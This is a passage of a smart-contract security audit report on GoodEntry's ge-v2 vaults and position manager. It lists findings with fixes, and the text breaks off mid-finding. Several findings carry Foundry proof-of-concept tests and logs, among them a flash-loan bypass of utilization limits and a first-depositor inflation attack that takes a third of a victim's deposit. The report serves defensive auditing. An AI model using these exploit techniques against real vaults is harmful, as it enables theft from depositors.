Veridise. Auditing Report

Hardening Blockchain Security with Formal Methods

FOR

ge-v2

Veridise Inc.

November 30, 2023

► **Prepared For:**

GoodEntry
https://goodentry.io

► **Prepared By:**

Ajinkya Rajput
Andreea Buţerchi
Benjamin Sepanski

► **Contact Us:** contact@veridise.com

► **Version History:**

Nov. 30, 2023	V3
Nov. 16, 2023	V2
Nov. 9, 2023	V1
Nov. 8, 2023	Initial Draft

Contents

1 Executive Summary

From Oct. 31, 2023 to Nov. 6, 2023, GoodEntry engaged Veridise to review the security of ge-v2. The review covered their vaults and position manager. Liquidity providers fund vaults, which vest their funds in an underlying AMM. The position manager can use a certain percentage of vault funds to cover options, which it sells using a Black-Scholes formula* implemented using Lyra†. The review did not include the specifics of the pricing model, but instead covered the interactions between the position manager, the vault, and the underlying AMM.

Veridise conducted the assessment over 3 person-weeks, with 3 engineers reviewing code over 1 weeks on commit `0xa86b0ae7`. The auditing strategy involved a tool-assisted analysis of the source code performed by Veridise engineers as well as extensive manual auditing.

Code assessment. The ge-v2 developers provided the source code of the ge-v2 contracts for review. To facilitate the Veridise auditors' understanding of the code, the ge-v2 developers provided a detailed presentation on the architecture and intended use of the vaults and position manager. The source code also contained documentation in the form of READMEs and documentation comments on functions and storage variables.

The source code contained a test suite, which the Veridise auditors noted had close to 100% coverage. The test suite did check several access control-related concerns, and both positive and negative cases of various invariants. However, the test suite performed almost no checks on the pricing model itself (see, for example, V-GDE-VUL-003). The recommendation section contains an update on this matter introduced following the release of V1 of this report.

Veridise auditors noted that the code was well-organized and generally took advantage of Solidity features to avoid code duplication. The project also used well-audited contracts from OpenZeppelin to enforce many safety features, though could use these contracts in additional locations (see V-GDE-VUL-010).

Summary of issues detected. The audit uncovered 34 issues, 7 of which are assessed to be of high or critical severity by the Veridise auditors. Specifically, violations of the vault utilization rate and AMM position share (V-GDE-VUL-001, V-GDE-VUL-002, and V-GDE-VUL-007), charging the same amount for an option no matter the notional amount (V-GDE-VUL-003), opportunities for an inflation attack (V-GDE-VUL-004), the possibility for malicious vault providers to preemptively close promising positions (V-GDE-VUL-005), and no limits on position time to expiry (V-GDE-VUL-006).

The Veridise auditors also identified several medium-severity issues, including fees set to incentivize the opposite of intended behavior (V-GDE-VUL-008) and incorrect accounting under certain cases (V-GDE-VUL-009). The Veridise auditors identified several minor issues, including missing validation (V-GDE-VUL-019), retroactive fees (V-GDE-VUL-011), incorrect discounts

* `https://en.wikipedia.org/wiki/BlackâĂŞScholes_model`
† `https://github.com/lyra-finance/lyra-protocol/blob/master/contracts/libraries/BlackScholes.sol`

(V-GDE-VUL-021), and others. Several very minor maintainability issues were also flagged. The ge-v2 developers have provided fixes for most of these issues, which the Veridise auditors reviewed. Of the total 34 issues, 25 have been completely resolved, and one has been almost entirely resolved (V-GDE-VUL-005). These 26 include all issues of medium, high or critical severity. GoodEntry acknowledged seven of the remaining eight issues as legitimate, but too minor to fix. The remaining issue was determined to match the intended behavior.

The Veridise auditors note that, while the fix to V-GDE-VUL-001 guarantees liquidity providers can leave the protocol by declaring a withdrawal intent, there is a small chance of being locked into the protocol (when operating at maximum yield) for an indefinite period of time. For fixed positions, the maximum time before the liquidity will be available for withdrawal is one week. Streaming positions, on the other hand, may be held open indefinitely. However, this scenario only prevents withdrawal if position takers are paying the funding rate indefinitely at the maximum utilization rate of the pool. This unlikely scenario greatly benefits the liquidity providers, and will still allow eventual exits as position takers either run out of funds or accrue enough fees for an exit.

Recommendations. After auditing the protocol, the auditors had a few suggestions to improve the ge-v2 beyond resolving the raised issues.

First, the Veridise team recommends that the GoodEntry expand their test suite. The added tests should include an additional assessment of option pricing behavior. While the direct pricing computation was out of scope, V-GDE-VUL-003 identified a missing dependence of option prices on the option size. We would recommend checking how the option price evolves on some set of historical or simulated price data to ensure that the position manager prices options as expected. Following the release of V1 of this report, the GoodEntry team implemented this recommendation.

Second, the Veridise team recommends making some of the functions which vaults are expected to implement, such as `getAmmAmounts()`, `withdrawAmm()`, `claimFees()`, `depositAmm()`, and `poolPriceMatchesOracle()`, into abstract methods. While the default implementations are correct for some of the vaults, this default behavior may silently lead to errors in future vaults if not overriden.

Disclaimer. We hope that this report is informative but provide no warranty of any kind, explicit or implied. The contents of this report should not be construed as a complete guarantee that the system is secure in all dimensions. In no event shall Veridise or any of its employees be liable for any claim, damages or other liability, whether in an action of contract, tort or otherwise, arising from, out of or in connection with the results reported here.

2 Project Dashboard

Table 2.1: Application Summary.

Name	Version	Type	Platform
ge-v2	`0xa86b0ae7`	Solidity	Arbitrum

Table 2.2: Engagement Summary.

Dates	Method	Consultants Engaged	Level of Effort
Oct. 31 - Nov. 6, 2023	Manual & Tools	3	3 person-weeks

Table 2.3: Vulnerability Summary.

Name	Number	Resolved
Critical-Severity Issues	3	3
High-Severity Issues	4	3
Medium-Severity Issues	2	2
Low-Severity Issues	2	2
Warning-Severity Issues	14	14
Informational-Severity Issues	9	9
TOTAL	34	33

Table 2.4: Category Breakdown.

Name	Number
Logic Error	9
Data Validation	7
Maintainability	6
Usability Issue	3
Denial of Service	2
Gas Optimization	2
Flashloan	1
Frontrunning	1
Access Control	1
Missing/Incorrect Events	1
Reentrancy	1

3 Audit Goals and Scope

3.1 Audit Goals

The engagement was scoped to provide a security assessment of ge-v2's vault and position manager. In our audit, we sought to answer the following questions:

- Is the vault utilization rate maintained?
- Are the appropriate amount of vault funds invested in the AMM?
- Does the position manager remain solvent?
- Are position takers able to close their positions when they are in-the-money?
- Are positions priced properly?
- Is the protocol vulnerable to standard Solidity issues such as reentrancies, flashloans, or inflation attacks?
- Can vault providers' funds become locked in the vault?

3.2 Audit Methodology & Scope

Audit Methodology. To address the questions above, our audit involved a combination of human experts and automated program analysis & testing tools. In particular, we conducted our audit with the aid of the following technique:

- *Static analysis.* To identify potential common vulnerabilities, we leveraged our custom smart contract analysis tool Vanguard, as well as the open-source tool Slither. These tools are designed to find instances of common smart contract vulnerabilities, such as reentrancy and uninitialized variables.

Scope. The scope of this audit is limited to the `contracts/` folder of the source code provided by the ge-v2 developers, which contains the smart contract implementation of the ge-v2. The scope excludes smart contracts in the `contracts/lib` and `contracts/GoodNft` directories. During the audit, the Veridise auditors referred to the excluded files but assumed that they have been implemented correctly.

Methodology. Veridise auditors reviewed the reports of previous audits for ge-v2, inspected the provided tests, and read the ge-v2 documentation. They then began a manual audit of the code assisted by both static analyzers and automated testing. During the audit, the Veridise auditors regularly met with the ge-v2 developers to ask questions about the code.

3.3 Classification of Vulnerabilities

When Veridise auditors discover a possible security vulnerability, they must estimate its severity by weighing its potential impact against the likelihood that a problem will arise. Table 3.1 shows how our auditors weigh this information to estimate the severity of a given issue.

Table 3.1: Severity Breakdown.

	Somewhat Bad	Bad	Very Bad	Protocol Breaking
Not Likely	Info	Warning	Low	Medium
Likely	Warning	Low	Medium	High
Very Likely	Low	Medium	High	Critical

In this case, we judge the likelihood of a vulnerability as follows in Table 3.2:

Table 3.2: Likelihood Breakdown

Not Likely	A small set of users must make a specific mistake
Likely	Requires a complex series of steps by almost any user(s) - OR - Requires a small set of users to perform an action
Very Likely	Can be easily performed by almost anyone

In addition, we judge the impact of a vulnerability as follows in Table 3.3:

Table 3.3: Impact Breakdown

Somewhat Bad	Inconveniences a small number of users and can be fixed by the user
Bad	Affects a large number of people and can be fixed by the user - OR - Affects a very small number of people and requires aid to fix
Very Bad	Affects a large number of people and requires aid to fix - OR - Disrupts the intended behavior of the protocol for a small group of users through no fault of their own
Protocol Breaking	Disrupts the intended behavior of the protocol for a large group of users through no fault of their own

4 Vulnerability Report

In this section, we describe the vulnerabilities found during our audit. For each issue found, we log the type of the issue, its severity, location in the code base, and its current status (i.e., acknowledged, fixed, etc.). Table 4.1 summarizes the issues discovered:

Table 4.1: Summary of Discovered Vulnerabilities.

ID	Description	Severity	Status
V-GDE-VUL-001	Utilization rate limits may be bypassed	Critical	Fixed
V-GDE-VUL-002	deposit() violates ammPositionShare	Critical	Fixed
V-GDE-VUL-003	Collateral amount independent of call/put size	Critical	Fixed
V-GDE-VUL-004	Inflation Attack	High	Fixed
V-GDE-VUL-005	Positions may be closed by vault providers	High	Partially Fixed
V-GDE-VUL-006	Minimum/maximum durations unused	High	Fixed
V-GDE-VUL-007	No AMM rebalance after repay	High	Fixed
V-GDE-VUL-008	withdrawal fee incentives set incorrectly	Medium	Fixed
V-GDE-VUL-009	openStrikeIDs not updated	Medium	Fixed
V-GDE-VUL-010	Initializable implementation contracts	Low	Acknowledged
V-GDE-VUL-011	Retroactive fees	Low	Acknowledged
V-GDE-VUL-012	Use of magic number literals	Warning	Fixed
V-GDE-VUL-013	Missing validation on TVL cap	Warning	Intended Behavior
V-GDE-VUL-014	Missing validations in vault initialization	Warning	Fixed
V-GDE-VUL-015	Unchecked return from withdrawAmm	Warning	Fixed
V-GDE-VUL-016	Inconsistent decimals	Warning	Fixed
V-GDE-VUL-017	Caps not checked in initialization	Warning	Acknowledged
V-GDE-VUL-018	Truncation leaves dust	Warning	Fixed
V-GDE-VUL-019	Fixed position strikes are not validated	Warning	Fixed
V-GDE-VUL-020	Opening positions may be griefed	Warning	Acknowledged
V-GDE-VUL-021	VIP discount is lower than non-VIPs	Warning	Fixed
V-GDE-VUL-022	Referrer discount is unlimited and permissionless	Warning	Acknowledged
V-GDE-VUL-023	lpToken not validated	Warning	Fixed
V-GDE-VUL-024	Can open streaming position via openFixedPositi..	Warning	Fixed
V-GDE-VUL-025	Tokens with sender hooks may bypass utilization..	Warning	Acknowledged
V-GDE-VUL-026	Duplicate code	Info	Fixed
V-GDE-VUL-027	Possible incorrect spacing	Info	Fixed
V-GDE-VUL-028	Unused Events	Info	Fixed
V-GDE-VUL-029	Out-of-date comments	Info	Fixed
V-GDE-VUL-030	Missing interface	Info	Fixed
V-GDE-VUL-031	Unnecessary statement	Info	Fixed
V-GDE-VUL-032	Implementations view may be invalidated	Info	Acknowledged
V-GDE-VUL-033	Treasury defaults to zero	Info	Fixed
V-GDE-VUL-034	Wasted gas in volatility computation	Info	Fixed

4.1 Detailed Description of Issues

4.1.1 V-GDE-VUL-001: Utilization rate limits may be bypassed

Severity	Critical	**Commit**	a86b0ae
Type	Flashloan	**Status**	Fixed
File(s)	`contracts/PositionManager/GoodEntryPositionManager.sol`, `contracts/vaults/GoodEntryVaultBase.sol`		
Location(s)	See issue description		
Confirmed Fix At			

The vault expects the position manager to use at most a `maxOI`-percent of either `baseToken` or `quoteToken` to cover positions. This is checked when positions are opened.

```
function openPosition(bool isCall, uint strike, uint notionalAmount, uint
    collateralAmount, uint timeToExpiry) internal returns (uint tokenId) {
      // ...
    uint utilizationRate = getUtilizationRate(isCall, notionalAmount);
    require(utilizationRate <= maxOI, "GEP: Max OI Reached");
```

Snippet 4.1: Check on `utilizationRate` when opening positions.

```
function getUtilizationRate(bool isCall, uint addedAmount) public view returns (uint
    utilizationRate) {
    (uint baseBalance, uint quotebalance,) = IGoodEntryVault(vault).getReserves();
    if (isCall) utilizationRate = (openInterestCalls + addedAmount) * 100 /
    baseBalance;
    else utilizationRate = (openInterestPuts + addedAmount) * 100 / quotebalance;
  }
```

Snippet 4.2: Definition of `getUtilizationRate`.

However, the reserves in a `vault` may be manipulated.

For example, suppose the maximum utilization rate is 60% and the vault has 100 of each token in reserve. If an adversary wishes to take out a call on 80 base tokens, this exceeds the utilization rate. To get around this, they can deposit 34 base tokens (plus fees) into the vault. Then, the vault will have 134 base tokens, so an 80-token call fits within the utilization rate. Once the position is created, the attacker can then withdraw the 34 base tokens (minus fees).

While the above example seems relatively innocuous, any user can perform this attack, even when the vault has a large number of funds, by taking out a flashloan. For example, if instead of 100 tokens, the vault had 1,000,000, the same attack could be performed for higher fees, along with the cost of the flashloan.

This attack is implemented in the below test case (which can be run from test_PositionManager.sol).

```
function get_funds(address receiver, uint bps) internal {
    //address _sender = msg.sender;
    arb.transfer(receiver, arb.balanceOf(address(this)) * bps / 1e4);
    usdc.transfer(receiver, usdc.balanceOf(address(this)) * bps / 1e4);
```

```
    usdcn.transfer(receiver, usdcn.balanceOf(address(this)) * bps / 1e4);
    weth.transfer(receiver, weth.balanceOf(address(this)) * bps / 1e4);
    wbtc.transfer(receiver, wbtc.balanceOf(address(this)) * bps / 1e4);
  }

  function logAmounts() internal view {
    (uint amount0, uint amount1, ) = getReserves();
    uint reserve0 = amount0 / 10**baseToken.decimals();
    uint reserve1 = amount1 / 10**quoteToken.decimals();
    console.log("Reserves: %s, %s", reserve0, reserve1);
  }

  function test_bypassUtilizationRateLimit() public {
    _prepare_pm();

    string memory mnemonic = "test test test test test test test test test test test
    junk";

    address attacker = vm.addr(vm.deriveKey(mnemonic, 0));
    address flashloanProvider = vm.addr(vm.deriveKey(mnemonic, 1));

    get_funds(attacker, 333);
    get_funds(flashloanProvider, 333);
    // Mint initial tokens to tie supply to value
    assertEq(totalSupply(), 0);
    _mint(address(this), getTVL() * 1e10);

    logAmounts();

    // Attacker tries to take out a position which surpasses utilization limit
    bool isCall = true;
    uint strike = getBasePrice() + 1;
    (uint reserve0, , ) = getReserves();
    uint notionalAmount = reserve0 * (60 + 1) / 100; // 1 percent more than maxOI =
    60
    uint256 timeToExpiry = 86400;

    require(baseToken.balanceOf(address(this))>= notionalAmount);

    // This fails because the maxOI is reached
    vm.startPrank(attacker);
    quoteToken.approve(address(positionManager), type(uint256).max);
    vm.expectRevert("GEP: Max OI Reached");
    positionManager.openFixedPosition(isCall, strike, notionalAmount, timeToExpiry);
    vm.stopPrank();

    // Now the attacker takes out a flashloan, and opens the position sandwiched
    between
    // a deposit and withdraw
    uint flashloan = baseToken.balanceOf(flashloanProvider);
    vm.prank(flashloanProvider);
    baseToken.transfer(attacker, flashloan);

```

```
    vm.startPrank(attacker);
    baseToken.approve(address(this), type(uint256).max);
    console.log("Flash : %s", flashloan);
    uint liquidity = this.deposit(address(baseToken), flashloan);
    positionManager.openFixedPosition(isCall, strike, notionalAmount, timeToExpiry);
    uint received = this.withdraw(liquidity, address(baseToken));
    uint cost = flashloan - received;
    console.log("Cost: %s", cost);
    vm.stopPrank();
  }
```

The above test passes, demonstrating how a flashloan can enable an attacker to exceed the utilization rate.

Impact Attackers can exceed the utilization rate at will.

Vault liquidity providers may find their funds locked until a position can be closed.

Furthermore, a higher percentage of their funds will be subject to the risk of settling options. For instance, if the base token's price is plummeting, an attacker can take out a put option using almost all of the vault funds. Moreover, this will prevent the opening of any new positions, effectively causing a denial-of-service (DoS) attack on the position manager.

Recommendation Require a vesting period for funds from a deposit.

Developer Response We have added a several penalty (99%) to withdrawals which occur within 12 hours of a deposit.

Veridise Response This may be bypassed by transferring the liquidity tokens to a second account. A more robust solution would prevent withdrawals which violate the utilization rate, but allow users to declare an intent to withdraw so that, when the next position closes, their funds are not available for use by a new position.

Updated Developer Response We added a check on the utilization rate in `_withdraw()`. We also added intents to ensure LPs can eventually withdraw their funds.

4.1.2 V-GDE-VUL-002: deposit() violates ammPositionShare

Severity	Critical	Commit	a86b0ae
Type	Logic Error	Status	Fixed
File(s)	contracts/vaults/GoodEntryVaultBase.sol		
Location(s)	deposit()		
Confirmed Fix At	330b7b3		

When `deployAssets()` is called, an `ammPositionShare`-percentage of all liquid tokens available to the vault are deposited into the AMM.

```
function deployAssets() internal {
    if (!isEnabled) return;

    uint baseAvail = baseToken.balanceOf(address(this));
    uint quoteAvail = quoteToken.balanceOf(address(this));
    (uint basePending, uint quotePending) = getPendingFees();
    // deposit a part of the assets in the full range. No slippage control in TR since we already checked here for sandwich
    if (baseAvail > basePending && quoteAvail > quotePending)
      depositAmm((baseAvail - basePending) * ammPositionShare / 100, (quoteAvail - quotePending) * ammPositionShare / 100);
  }
```

Snippet 4.3: Definition of `deployAssets()` in `GoodEntryVaultBase`.

This makes an important assumption: that the vault has no tokens already deposited in the AMM. At all callsites but one, this assumption is enforced by calling `withdrawAmm()` before a call to `deployAssets()`.

In the `deposit()` function, `withdrawAmm()` is **not** called. Instead, only `claimFees()` is called. This means that multiple calls to `deposit()` will cause more than an `ammPositionShare`-percentage of the vault's tokens to be invested in the AMM.

This is illustrated by the following test, which fails when placed in test_GeVault_UniswapV2.sol.

```
function logAmmAmounts() internal view {
    (uint reserves0, uint reserves1, ) = vault.getReserves();
    (uint actualInAmm0, uint actualInAmm1) = vault.getAmmAmounts();

    uint prettyReserves0 = reserves0 / 10**weth.decimals();
    uint prettyReserves1 = reserves1 / 10**usdc.decimals();
    uint prettyInAmm0 = actualInAmm0 / 10**weth.decimals();
    uint prettyInAmm1 = actualInAmm1 / 10**usdc.decimals();

    console.log("Amount0: %s, Amount0 in AMM: %s, %%: %s", prettyReserves0, prettyInAmm0, actualInAmm0 * 100 / reserves0);
    console.log("Amount1: %s, Amount1 in AMM: %s, %%: %s", prettyReserves1, prettyInAmm1, actualInAmm1 * 100 / reserves1);
  }

function test_violateAMMReserves() public {
    deploy_vault(WETH9, USDC);
```

```
    get_funds();

    uint basePrice = vault.getBasePrice();
    assertEq(basePrice, testOracle.getAssetPrice(WETH9) * 1e8 / testOracle.
    getAssetPrice(USDC));

    uint numDeposits = 10;
    uint depositAmount0 = weth.balanceOf(address(this)) / numDeposits;
    uint depositAmount1 = depositAmount0 * testOracle.getAssetPrice(WETH9) * 10**usdc
    .decimals() / testOracle.getAssetPrice(USDC) / 10**weth.decimals();

    for(uint i = 0; i < numDeposits; ++i) {
      console.log("Depositing!");
      weth.approve(address(vault), depositAmount0);
      vault.deposit(WETH9, depositAmount0);
      usdc.approve(address(vault), depositAmount1);
      vault.deposit(USDC, depositAmount1);
      logAmmAmounts();
    }

    (uint reserves0, uint reserves1, ) = vault.getReserves();
    uint ammPositionShare = vault.ammPositionShare();
    (uint maxInAmm0, uint maxInAmm1) = (reserves0 * ammPositionShare / 100, reserves1
     * ammPositionShare / 100);
    (uint actualInAmm0, uint actualInAmm1) = vault.getAmmAmounts();

    require(actualInAmm0 <= maxInAmm0);
    require(actualInAmm1 <= maxInAmm1);
  }
```

The logged reserve amounts are as shown below.

```
Depositing!
Amount0: 998, Amount0 in AMM: 498, %: 49
Amount1: 1800580, Amount1 in AMM: 900290, %: 49
Depositing!
Amount0: 1996, Amount0 in AMM: 1371, %: 68
Amount1: 3601160, Amount1 in AMM: 2475798, %: 68
Depositing!
Amount0: 2995, Amount0 in AMM: 2337, %: 78
Amount1: 5401200, Amount1 in AMM: 4219839, %: 78
Depositing!
Amount0: 3993, Amount0 in AMM: 3326, %: 83
Amount1: 7200879, Amount1 in AMM: 6005699, %: 83
Depositing!
Amount0: 4991, Amount0 in AMM: 4321, %: 86
Amount1: 9000378, Amount1 in AMM: 7801834, %: 86
Depositing!
Amount0: 5989, Amount0 in AMM: 5317, %: 88
Amount1: 10799877, Amount1 in AMM: 9600492, %: 88
Depositing!
Amount0: 6987, Amount0 in AMM: 6313, %: 90
Amount1: 12599196, Amount1 in AMM: 11399690, %: 90
Depositing!
```

```
Amount0: 7985, Amount0 in AMM: 7310, %: 91
Amount1: 14398515, Amount1 in AMM: 13198979, %: 91
Depositing!
Amount0: 8983, Amount0 in AMM: 8306, %: 92
Amount1: 16197833, Amount1 in AMM: 14998290, %: 92
Depositing!
Amount0: 9981, Amount0 in AMM: 9303, %: 93
Amount1: 17996972, Amount1 in AMM: 16797517, %: 93
```

As shown above, after 10 calls to deposit, 96% of the vault's token0 is invested in the AMM, even though the `ammPositionShare` is set to 50%.

Impact Vault liquidity providers accept a higher risk than indicated.

Large changes in the relative prices of the `baseToken` and `quoteToken` may the AMM liquidity tokens to devalue substantially. This risk may be applied not only to an `ammPositionShare`-percentage of vault liquidity providers' funds, but to almost all of the vault funds.

Recommendation Take the amount of tokens currently deposited into the AMM into account when calling `deployAssets()`.

Developer Response We added `withdrawAmm()` at the beginning of `deposit()` and removed `claimFees()` which is not used anymore

4.1.3 V-GDE-VUL-003: Collateral amount independent of call/put size

Severity	Critical	**Commit**	a86b0ae
Type	Logic Error	**Status**	Fixed
File(s)	`contracts/PositionManager/GoodEntryPositionManager.sol`		
Location(s)	openPosition()		
Confirmed Fix At	81ea690		

The price of an option does not depend on the `notionalAmount`.

```
// Option price at 6h=6*3600s expiry gives funding for streaming options, else use
    provided parameter
uint optionPrice = getOptionPrice(isCall, strike, isStreamingOption ?
    streamingOptionTTE : timeToExpiry)  * (10000 - discountReferee) / 10000;

// Funding rate in quoteToken per second X10
uint fundingRateX10 = 1e10 * optionPrice / streamingOptionTTE;

// Actual collateral amount
collateralAmount = fixedExerciseFee + (isStreamingOption ? collateralAmount :
    optionPrice);

// [VERIDISE] ...

ERC20(quoteToken).safeTransferFrom(msg.sender, address(this), collateralAmount);
```

Snippet 4.4: Computation of the price of a fixed option (`collateralAmount`) in `openPosition()`.

Note that the `optionPrice` does not depend on the `notionalAmount`. This can be seen in the below test, which shows that a call option on 1, 2, 4, 8, 16, or 32 wEth costs the same amount.

```
function getCallPrice(address caller, uint notionalAmount) internal returns (uint) {
  bool isCall = true;
  uint strike = getBasePrice() + 1;
  uint timeToExpiry = block.timestamp;

  uint balanceBefore = usdc.balanceOf(caller);
  hoax(caller); usdc.approve(address(positionManager), type(uint).max);
  hoax(caller);
  positionManager.openFixedPosition(isCall, strike, notionalAmount, timeToExpiry);
  uint balanceAfter = usdc.balanceOf(caller);

  return balanceBefore - balanceAfter;
}

uint[] notionalAmounts = [1, 2, 4, 8, 16, 32];
uint[] costs;
function test_optionPrice() public {
  _prepare_pm();

  // Seed vault to set price
  _mint(address(this), getTVL() * 1e10);

  // Set up alice with lots of money
```

```
24    address alice = makeAddr("alice");
25    uint aliceWethBalance = 100 * 10**weth.decimals();
26    uint aliceUsdcBalance = 100 * 10**usdc.decimals();
27    deal(USDC, alice, aliceWethBalance);
28    deal(WETH9, alice, aliceUsdcBalance);
29
30    // Log various price
31    for(uint i = 0; i < notionalAmounts.length; ++i) {
32      uint notionalAmount = notionalAmounts[i] * 10**weth.decimals();
33      uint cost = getCallPrice(alice, notionalAmount);
34      costs.push(cost);
35      console2.log("Alice deposits %s wEth for %s", notionalAmounts[i], cost);
36    }
37
38    for(uint i = 0 ; i < notionalAmounts.length - 1; ++i) {
39      require(costs[i] < costs[i+1], "Costs don't increase!");
40    }
41  }
```

The above test outputs the following log:

```
Logs:
  Alice deposits 1 wEth for 165166725192
  Alice deposits 2 wEth for 165166725192
  Alice deposits 4 wEth for 165166725192
  Alice deposits 8 wEth for 165166725192
  Alice deposits 16 wEth for 165166725192
  Alice deposits 32 wEth for 165166725192
...
|-- [0] console::log(Alice deposits %s wEth for %s, 32, 165169694898 [1.651e11]) [
    staticcall]
    |   |-- <- ()
    |-- <- "Costs don't increase!"
```

Impact Users will always take out the maximum amounts available for a fixed position.

Recommendation The Black-Scholes price returns a price ***per-share***. The option-price needs to be proportional to the notional amount.

Developer Response

4.1.4 V-GDE-VUL-004: Inflation Attack

Severity	High	**Commit**	a86b0ae
Type	Frontrunning	**Status**	Fixed
File(s)	`contracts/vaults/GoodEntryVaultBase.sol`		
Location(s)	deposit()		
Confirmed Fix At	882ef1d		

An inflation attack occurs when an attacker transfers funds directly to the vault (using `transfer()` function of underlying tokens (rather than via calls to `deposit()` or `withdraw()`) to manipulate the price in their favor.

The typical attack vector occurs when vaults are new and the amounts in them are small. Consider the following scenario (for convenience, we'll assume each base token is worth 1 USD):

1. Alice is about to deposit 100 base tokens into an empty vault.
2. An attacker, Bob, frontruns and deposits only 2 tokens. This fixes the price of a vault token at around 1 USD.
3. Bob now transfers 100 tokens directly to the vault. This does not change the total supply of the vault tokens, but now means that each vault token is worth $\frac{\{}{1}02\}\{2\} = 51$ USD.
4. Alice's transaction is now executed. The total supply is 2, the value of her deposit is 100, and the total value locked is 1022. This means she will receive

```
  totalSupply * depositValue / TVL
= 2 * 100 / 102
= 200 / 102
```

   Since integer division truncates, Alice receives only 1 liquidity token.
5. Bob now owns 2/3 of the pool. Since the total value locked is now 202 USD, he can withdraw 134 USD, stealing around 34 USD off of Alice's deposit.

As a proof-of-concept, we wrote up the following test. Note that this test is a bit more complicated, since in order to make the total supply of the pool equal 2, Bob had to first deposit and then withdraw.

```
function test_depositWithInflationAttack() public {
  deploy_vault(WETH9, USDC);
  get_funds();

  // A fresh new vault appears! The first depositor sends in 100 weth to get it
    started
  address alice = makeAddr("alice");
  address attacker = makeAddr("attacker");

  uint attackAmount = 1 * 10**weth.decimals();
  uint aliceAmount = 100 * 10**weth.decimals();
  uint balance = 2 * aliceAmount;

  deal(WETH9, alice, balance);
  deal(WETH9, attacker, balance);

  hoax(alice);
```

```
17    weth.approve(address(vault), balance);
18    hoax(attacker);
19    weth.approve(address(vault), balance);
20
21    assertEq(vault.totalSupply(), 0);
22    assertEq(vault.getTVL(), 0);
23    hoax(attacker);
24    uint attackerLiquidity = vault.deposit(WETH9, attackAmount);
25    console.log("\nAttacker deposits weth9 tokens for liquidity");
26    console.log("Deposit : %s", attackAmount);
27    console.log("Received Liquidity: %s", attackerLiquidity);
28    console.log("Vlt  TS : %s", vault.totalSupply());
29    console.log("Vlt TVL : %s", vault.getTVL());
30
31    uint oldAttackerLiquidity = attackerLiquidity;
32    attackerLiquidity = 2;
33    uint toWithdraw = oldAttackerLiquidity - attackerLiquidity;
34    hoax(attacker);
35    uint refunded = vault.withdraw(toWithdraw, WETH9);
36    console.log("\nAttacker withdraws tokens for liquidity");
37    console.log("Withdrw : %s", refunded);
38    console.log("Remaining Liquidity: %s", attackerLiquidity);
39    console.log("Vlt  TS : %s", vault.totalSupply());
40    console.log("Vlt TVL : %s", vault.getTVL());
41
42    hoax(attacker);
43    weth.transfer(address(vault), aliceAmount);
44    console.log("\nAttacker transfers weth9 tokens directly to the vault");
45    console.log("Deposit : %s", aliceAmount);
46    console.log("Vlt  TS : %s", vault.totalSupply());
47    console.log("Vlt TVL : %s", vault.getTVL());
48
49    hoax(alice);
50    uint aliceLiquidity = vault.deposit(WETH9, aliceAmount);
51    console.log("\nAlice's deposit of weth9 tokens for liquidity now goes through");
52    console.log("Deposit : %s", aliceAmount);
53    console.log("Received Liquidity: %s", aliceLiquidity);
54    console.log("Vlt  TS : %s", vault.totalSupply());
55    console.log("Vlt TVL : %s", vault.getTVL());
56
57    hoax(attacker);
58    uint withdrawnAmount = vault.withdraw(attackerLiquidity, WETH9);
59    uint revenue = withdrawnAmount + refunded;
60    uint cost = attackAmount + aliceAmount;
61    uint profit = revenue > cost ? revenue - cost : 0;
62    uint loss = cost > revenue ? cost - revenue : 0 ;
63    console.log("\nAttacker now withdraws liquidity");
64    console.log("Withdrw : %s", withdrawnAmount);
65    console.log("Profit  : %s", profit);
66    console.log("Loss    : %s", loss);
67  }
```

This test generates the following transcript, demonstrating how the above example may occur

in practice. In the below sequence of events an attacker steals 33% of a depositor's funds.

```
Attacker deposits weth9 tokens for liquidity
  Deposit : 1000000000000000000
  Received Liquidity: 1825805237130000000000
  Vlt  TS : 1825805237130000000000
  Vlt TVL : 182580523713

Attacker withdraws tokens for liquidity
  Withdrw : 998999999994528441
  Remaining Liquidity: 2
  Vlt  TS : 2
  Vlt TVL : 1

Attacker transfers weth9 tokens directly to the vault
  Deposit : 10000000000000000000
  Vlt  TS : 2
  Vlt TVL : 18276328700001
  Value   : 18221499713900

Alice's deposit of weth9 tokens for liquidity now goes through
  Deposit : 10000000000000000000
  Received Liquidity: 1
  Vlt  TS : 3
  Vlt TVL : 36497828413901
  Attacker now withdraws liquidity
  Withdrw : 133133333333335157186
  Profit  : 33132333333329685627
  Loss    : 0
```

Impact Depositors into new vaults may have their funds stolen.

Recommendation Consider applying one of several mitigations, such as using a router, tracking assets internally, or creating dead shares. See `https://blog.openzeppelin.com/a-novel-defense-against-erc4626-inflation-attacks` for more.

Developer Response We expect any vault deployers to also provide sufficient funds to prevent this attack from occurring. The opportunity for this attack is also limited by penalizing withdrawals soon after deposits, implemented in the fix for V-GDE-VUL-001.

Further, we have added dead shares to the vaults, limiting the profitability of these attacks on new vaults.

4.1.5 V-GDE-VUL-005: Positions may be closed by vault providers

Severity	High	**Commit**	a86b0ae
Type	Denial of Service	**Status**	Partially Fixed
File(s)	`contracts/PositionManager/GoodEntryPositionManager.sol`		
Location(s)	closePosition()		
Confirmed Fix At	59a4a4f		

Positions may be closed by the owner, when they have expired or have insufficient collateral, or if there are too many strikes open.

```
require(
  msg.sender == owner
    || (position.optionType == IGoodEntryPositionManager.OptionType.StreamingOption
    && feesDue >= position.collateralAmount - fixedExerciseFee)
    || (position.optionType == IGoodEntryPositionManager.OptionType.FixedOption &&
    block.timestamp >= position.data )
    ||  _isEmergencyStrike(position.strike),
    "GEP: Invalid Close"
);
```

Snippet 4.5: Check at the beginning executing `closePosition()`

The `_isEmergencyStrike()` function returns true only when there are at least `MAX_OPEN_STRIKES` open strikes (currently set to 200). In this case, the largest and smallest open strike prices may be cancelled by anyone.

```
function _isEmergencyStrike(uint strike) internal view returns (bool isEmergency) {
  if (openStrikes.length < MAX_OPEN_STRIKES || openStrikes.length < 2) return false;
  // Skip 1st entry which is 0
  uint minStrike = openStrikes[1];
  uint maxStrike = minStrike;
  // loop on all strikes
  for (uint k = 1; k < openStrikes.length; k++){
    if (openStrikes[k] > maxStrike) maxStrike = openStrikes[k];
    if (openStrikes[k] < minStrike) minStrike = openStrikes[k];
  }
  isEmergency = strike == maxStrike || strike == minStrike;
}
```

Snippet 4.6: Definition of `_isEmergencyStrike()`

Large vault liquidity providers may use this feature to intentionally close positions which are about to be in the money. For example, consider the following scenario:

1. Bob is a large vault liquidity provider.
2. Alice has opened a large position. The strike price is about to be reached, at which point Alice will profit a large amount.
3. Bob places `MAX_OPEN_STRIKES` positions at new puts.
4. Bob now closes Alice's position, before the strike price is reached.

